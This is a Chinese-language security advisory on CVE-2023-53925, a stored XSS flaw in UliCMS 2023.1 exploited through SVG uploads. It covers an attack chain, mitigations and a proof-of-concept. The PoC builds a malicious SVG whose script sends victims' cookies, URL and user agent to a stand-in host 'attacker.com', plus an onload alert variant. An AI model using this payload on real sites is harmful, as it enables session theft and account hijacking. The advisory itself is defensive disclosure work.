IPBUF安全漏洞报告
English
CVE-2023-53925 CVSS 6.1 中危

CVE-2023-53925 UliCMS存储型XSS漏洞通过SVG文件上传

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53925
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
UliCMS

相关标签

存储型XSSSVG文件上传漏洞UliCMSCVE-2023-53925跨站脚本攻击内容管理系统Web安全

漏洞概述

CVE-2023-53925是UliCMS 2023.1版本中存在的一个高危安全漏洞,属于存储型跨站脚本攻击(Stored Cross-Site Scripting)。该漏洞允许未经认证的攻击者通过UliCMS的文件管理接口上传包含恶意JavaScript代码的SVG文件。由于SVG文件会被存储在服务器上并可能被其他用户访问,当受害者查看这些恶意SVG文件时,嵌入其中的JavaScript代码会在其浏览器上下文中执行。攻击者可以利用此漏洞窃取受害者的会话Cookie、劫持用户账户、进行钓鱼攻击或在受害者浏览器中执行任意操作。存储型XSS相比反射型XSS更为危险,因为恶意代码会被永久存储在服务器上,影响所有访问该内容的用户。UliCMS作为一个内容管理系统,通常会被多个用户访问和使用,这使得该漏洞的潜在影响范围较大。漏洞的CVSS评分为6.1,属于中等严重程度,但由于无需认证即可利用且攻击复杂度较低,实际威胁不容忽视。

技术细节

该漏洞的根本原因在于UliCMS的文件上传功能缺乏对SVG文件内容的严格安全验证。SVG(可缩放矢量图形)是一种基于XML的矢量图形格式,支持内嵌JavaScript代码(通过script标签或事件处理器)。攻击者可以构造一个包含恶意JavaScript代码的SVG文件,例如使用<script>标签或通过SVG特有的事件属性如onload、onerror等来执行JavaScript。当这个恶意SVG文件通过UliCMS的文件管理界面上传后,它会被存储在服务器的Web可访问目录中。由于缺乏适当的Content-Type头或安全头部设置,浏览器会将SVG文件作为HTML或XML处理,从而执行其中的JavaScript代码。攻击者可以通过诱导其他用户访问该SVG文件的URL来触发恶意代码执行。此外,如果CMS系统在其他页面(如文件列表、帖子内容等)中直接显示或引用上传的文件路径,也会增加攻击面。修复此漏洞需要在服务器端对上传的SVG文件进行内容过滤,禁止包含JavaScript代码的SVG文件上传,或在响应头中设置Content-Disposition: attachment来强制下载而非直接在浏览器中渲染。

攻击链分析

STEP 1
步骤1:侦察与信息收集
攻击者首先访问目标UliCMS网站,确认其版本为2023.1,并识别文件上传功能的入口点(通常在管理后台的文件管理器或帖子编辑器中)
STEP 2
步骤2:构造恶意SVG文件
攻击者创建一个包含恶意JavaScript代码的SVG文件,使用<script>标签、onload事件或其他SVG特有的事件处理器来执行任意JavaScript代码
STEP 3
步骤3:上传恶意文件
攻击者通过UliCMS的文件管理界面上传构造好的恶意SVG文件,由于系统未对SVG内容进行安全过滤,上传成功
STEP 4
步骤4:存储恶意代码
恶意SVG文件被存储在服务器的Web可访问目录中,恶意JavaScript代码被永久保存在服务器上
STEP 5
步骤5:诱导受害者访问
攻击者通过社会工程学手段(如钓鱼邮件、恶意链接等)诱导目标用户访问该恶意SVG文件的URL
STEP 6
步骤6:执行恶意代码
当受害者访问恶意SVG文件时,浏览器将其作为HTML/XML解析并执行其中的JavaScript代码,攻击者从而窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-53925 PoC - Malicious SVG file for UliCMS Stored XSS # Save this as malicious.svg and upload via UliCMS file manager import base64 malicious_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="300" height="200"> <script type="text/javascript"> <![CDATA[ // Steal cookies and send to attacker-controlled server var stolen_data = { cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent }; // Send stolen data via JSONP or fetch API var img = new Image(); img.src = "https://attacker.com/collect?data=" + encodeURIComponent(JSON.stringify(stolen_data)); // Alternative: using fetch if supported // fetch("https://attacker.com/collect", { // method: "POST", // body: JSON.stringify(stolen_data), // headers: { "Content-Type": "application/json" } // }); ]]> </script> <rect width="300" height="200" fill="#ff6b6b"/> <text x="50%" y="50%" text-anchor="middle" fill="white" font-size="20">Malicious SVG</text> <image href="javascript:alert(document.cookie)" /> </svg> ''' # Alternative PoC using SVG event handlers (onload) malicious_svg_onload = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS - Cookie: '+document.cookie)"> <rect width="100%" height="100%"/> </svg> ''' print("CVE-2023-53925 PoC SVG Generated") print("Upload this file via UliCMS file manager") print("Then induce victim to visit the uploaded SVG URL") print("Malicious JavaScript will execute in victim's browser context")

影响范围

UliCMS 2023.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 暂时禁用SVG文件上传功能或限制仅管理员可上传;2) 配置Web服务器(如Nginx、Apache)对.svg文件设置Content-Disposition: attachment响应头;3) 在Web应用防火墙(WAF)中添加规则,检测并阻止包含JavaScript代码的SVG文件上传;4) 实施严格的MIME类型验证,禁止application/xml和image/svg+xml以外的SVG相关内容;5) 定期审计已上传的SVG文件,删除可疑内容;6) 监控文件上传目录的可疑活动;7) 对用户进行安全意识培训,警惕来自陌生来源的文件链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表